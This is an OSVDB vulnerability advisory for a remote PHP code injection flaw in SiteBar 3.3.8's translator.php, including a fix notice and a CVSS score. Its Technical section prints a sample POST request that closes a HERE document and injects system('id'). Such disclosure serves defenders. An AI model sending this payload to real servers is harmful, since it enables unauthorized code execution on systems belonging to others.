43760 : Translation Module for SiteBar (translator.php) value Variable Arbitrary PHP Code Execution
Printer | http://osvdb.org/43760 | Email This | Edit Vulnerability

Views This Week Views All Time Added to OSVDB Last Modified Modified (since 2008) Percent Complete
4 503 over 3 years ago over 2 years ago 15 times 100%

Timeline

Disclosure Date
2007-10-18

Keywords

NDSA20071016

Description

SiteBar contains a flaw that may allow a remote attacker to execute arbitrary commands or code. The issue is due to the translator.php script not properly sanitizing user-supplied input to the value parameter. This may allow an attacker to include arbitrary PHP commands that will be executed.

Classification

Location: Remote / Network Access
Attack Type: Input Manipulation
Impact: Loss of Confidentiality, Loss of Integrity
Solution: Patch / RCS, Upgrade
Exploit: Exploit Private
Disclosure: Vendor Verified
OSVDB: Web Related

Technical

Whilst modifying strings within a translation, SiteBar makes no sanity checks on the value passed for a given string to be embedded within a HERE document within the languages strings library. It is therefore possible to terminate the HERE document and pass arbitrary code which will be executed whenever the languages strings library is included, for example:

POST http://192.168.1.1/translator.php?lang=test&edit=text HTTP/1.1
Host: 192.168.1.1
Referer: http://192.168.1.1/translator.php?lang=test&edit=text
Cookie: SB3COOKIE=1; SB3AUTH=3efab8d1dc9a149d7d1d7866a33d2539
Content-Type: application/x-www-form-urlencoded
Content-length: 47497

dir=&label%5B0%5D=The+Bookmark+Server+for+Personal+and+Team+Use&md5%5B0%5D=823084516ae27478ec4c5fd40fb32ea8&value%5B0%5D=_P;

system('id');

?>

Note that _P terminates the HERE document.

Solution

Upgrade to version 3.3.9 or higher, as it has been reported to fix this vulnerability. In addition, the vendor has released a patch for some older versions.

Products

Ondřej Brablc, David Szego and SiteBar Team
Watch-list
SiteBar
Watch-list
3.3.8

References

Tools & Filters

29258

Credit

CVSSv2 Score

CVSSv2 Base Score = 4.6
Source: nvd.nist.gov | Generated: 2007-10-18 | Disagree?

Access_vector_2 Access_complexity_0 Authentication_1 Confidentiality_impact_1 Integrity_impact_1 Availability_impact_1

Blogs

This section lists the latest news and blogs found via the daylife API (and for older items, the technorati API), which mention or otherwise discuss this vulnerability.

None found at this time

Comments

No Comments.

The database information may change without any notice. Use of the information constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the copyright holder or distributor (OSVDB or OSF) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

© Copyright 2012 Open Source Vulnerability Database (OSVDB), All Rights Reserved.
Privacy Statement - Terms of Use